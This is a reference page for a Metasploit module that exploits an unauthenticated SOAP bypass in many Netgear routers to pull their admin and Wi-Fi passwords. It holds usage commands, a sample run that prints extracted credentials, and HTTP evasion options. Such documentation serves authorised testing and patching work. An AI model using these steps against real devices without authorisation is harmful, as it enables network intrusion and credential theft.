Netgear Unauthenticated SOAP Password Extractor - Metasploit


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Module Overview


Name: Netgear Unauthenticated SOAP Password Extractor
Module: auxiliary/admin/http/netgear_soap_password_extractor
Source code: modules/auxiliary/admin/http/netgear_soap_password_extractor.rb
Disclosure date: 2015-02-11
Last modification time: 2017-10-09 17:06:05 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module exploits an authentication bypass vulnerability in different Netgear devices. It allows to extract the password for the remote management interface. This module has been tested on a Netgear WNDR3700v4 - V1.0.1.42, but other devices are reported as vulnerable: NetGear WNDR3700v4 - V1.0.0.4SH, NetGear WNDR3700v4 - V1.0.1.52, NetGear WNR2200 - V1.0.1.88, NetGear WNR2500 - V1.0.0.24, NetGear WNDR3700v2 - V1.0.1.14 (Tested by Paula Thomas), NetGear WNDR3700v1 - V1.0.16.98 (Tested by Michal Bartoszkiewicz), NetGear WNDR3700v1 - V1.0.7.98 (Tested by Michal Bartoszkiewicz), NetGear WNDR4300 - V1.0.1.60 (Tested by Ronny Lindner), NetGear R6300v2 - V1.0.3.8 (Tested by Robert Mueller), NetGear WNDR3300 - V1.0.45 (Tested by Robert Mueller), NetGear WNDR3800 - V1.0.0.48 (Tested by an Anonymous contributor), NetGear WNR1000v2 - V1.0.1.1 (Tested by Jimi Sebree), NetGear WNR1000v2 - V1.1.2.58 (Tested by Chris Boulton), NetGear WNR2000v3 - v1.1.2.10 (Tested by h00die)

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/http/netgear_soap_password_extractor
msf auxiliary(netgear_soap_password_extractor) > show targets
    ... a list of targets ...
msf auxiliary(netgear_soap_password_extractor) > set TARGET target-id
msf auxiliary(netgear_soap_password_extractor) > show options
    ... show and set options ...
msf auxiliary(netgear_soap_password_extractor) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


The following list is a non-exhaustive list of vulnerable Netgear devices:

  1. R6300v2 < 1.0.3.28
  2. WNDR3300 - V1.0.45 (current, confirmed vuln)
  3. WNDR3700v1 - 1.0.7.98, 1.0.16.98 (confirmed vuln)
  4. WNDR3700v2 - 1.0.1.14 (EOL, confirmed vuln)
  5. WNDR3700v4 < 1.0.2.80
  6. WNDR3800 - 1.0.0.48 (EOL, confirmed vuln)
  7. WNDR4300 < 1.0.2.80
  8. WNR1000v2 - 1.0.1.1, 1.1.2.58 (EOL, confirmed vuln)
  9. WNR2000v3 < 1.1.2.12
  10. WNR2200 < 1.0.1.96
  11. WNR2500 < 1.0.0.32

Verification Steps


  1. Start msfconsole
  2. Do: use auxiliary/admin/http/netgear_soap_password_extractor
  3. Do: set rhost <ip>
  4. Do: run
  5. You should get admin info on the device

Scenarios


Example run against wnr2000v3 with firmware 1.1.2.10:

msf > use auxiliary/admin/http/netgear_soap_password_extractor 
msf auxiliary(netgear_soap_password_extractor) > set rhost 192.168.1.1
rhost => 192.168.1.1
msf auxiliary(netgear_soap_password_extractor) > run

[*] Trying to access the configuration of the device
[*] Extracting Firmware version...
[+] Model wnr2000v3 found
[+] Firmware version V1.1.2.10 found
[+] Device details downloaded to: /root/.msf4/loot/20160706212637_default_192.168.1.1_netgear_soap_dev_000157.txt
[*] Extracting credentials...
[*] Credentials found, extracting...
[+] admin / password credentials found
[+] Account details downloaded to: /root/.msf4/loot/20160706212637_default_192.168.1.1_netgear_soap_acc_387111.txt
[*] Extracting Wifi...
[+] Wifi SSID: NETGEAR44
[+] Wifi Encryption: WPA2-PSK
[*] Extracting WPA Keys...
[+] Wifi Password: netgearpassword22
[*] Auxiliary module execution completed

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Msfconsole Usage


Here is how the admin/http/netgear_soap_password_extractor auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/netgear_soap_password_extractor

msf6 auxiliary(admin/http/netgear_soap_password_extractor) > show info

       Name: Netgear Unauthenticated SOAP Password Extractor
     Module: auxiliary/admin/http/netgear_soap_password_extractor
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-02-11

Provided by:
  Peter Adkins <[email protected]>
  Michael Messner <[email protected]>
  h00die <[email protected]>

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    80               yes       The target port (TCP)
  SSL      false            no        Negotiate SSL/TLS for outgoing connections
  VHOST                     no        HTTP server virtual host

Description:
  This module exploits an authentication bypass vulnerability in 
  different Netgear devices. It allows to extract the password for the 
  remote management interface. This module has been tested on a 
  Netgear WNDR3700v4 - V1.0.1.42, but other devices are reported as 
  vulnerable: NetGear WNDR3700v4 - V1.0.0.4SH, NetGear WNDR3700v4 - 
  V1.0.1.52, NetGear WNR2200 - V1.0.1.88, NetGear WNR2500 - V1.0.0.24, 
  NetGear WNDR3700v2 - V1.0.1.14 (Tested by Paula Thomas), NetGear 
  WNDR3700v1 - V1.0.16.98 (Tested by Michal Bartoszkiewicz), NetGear 
  WNDR3700v1 - V1.0.7.98 (Tested by Michal Bartoszkiewicz), NetGear 
  WNDR4300 - V1.0.1.60 (Tested by Ronny Lindner), NetGear R6300v2 - 
  V1.0.3.8 (Tested by Robert Mueller), NetGear WNDR3300 - V1.0.45 
  (Tested by Robert Mueller), NetGear WNDR3800 - V1.0.0.48 (Tested by 
  an Anonymous contributor), NetGear WNR1000v2 - V1.0.1.1 (Tested by 
  Jimi Sebree), NetGear WNR1000v2 - V1.1.2.58 (Tested by Chris 
  Boulton), NetGear WNR2000v3 - v1.1.2.10 (Tested by h00die)

References:
  http://www.securityfocus.com/bid/72640
  OSVDB (118316)
  https://github.com/darkarnium/secpub/tree/master/NetGear/SOAPWNDR

Module Options


This is a complete list of options available in the admin/http/netgear_soap_password_extractor auxiliary module:

msf6 auxiliary(admin/http/netgear_soap_password_extractor) > show options

Module options (auxiliary/admin/http/netgear_soap_password_extractor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the admin/http/netgear_soap_password_extractor auxiliary module:

msf6 auxiliary(admin/http/netgear_soap_password_extractor) > show advanced

Module advanced options (auxiliary/admin/http/netgear_soap_password_extractor):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/http/netgear_soap_password_extractor module can do:

msf6 auxiliary(admin/http/netgear_soap_password_extractor) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/http/netgear_soap_password_extractor auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/netgear_soap_password_extractor) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to connect to the web server


Here is a relevant code snippet related to the "Failed to connect to the web server" error message:

117:	        wifi_password = $1
118:	        print_good("Wifi Password: #{wifi_password}")
119:	      end
120:	
121:	    rescue ::Rex::ConnectionError
122:	      vprint_error("Failed to connect to the web server")
123:	      return
124:	    end
125:	  end
126:	
127:	  def extract_credentials(body)

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References


See Also


Check also the following modules related to this module:

Authors


  • Peter Adkins <peter.adkins[at]kernelpicnic.net>
  • Michael Messner <devnull[at]s3cur1ty.de>
  • h00die <[email protected]>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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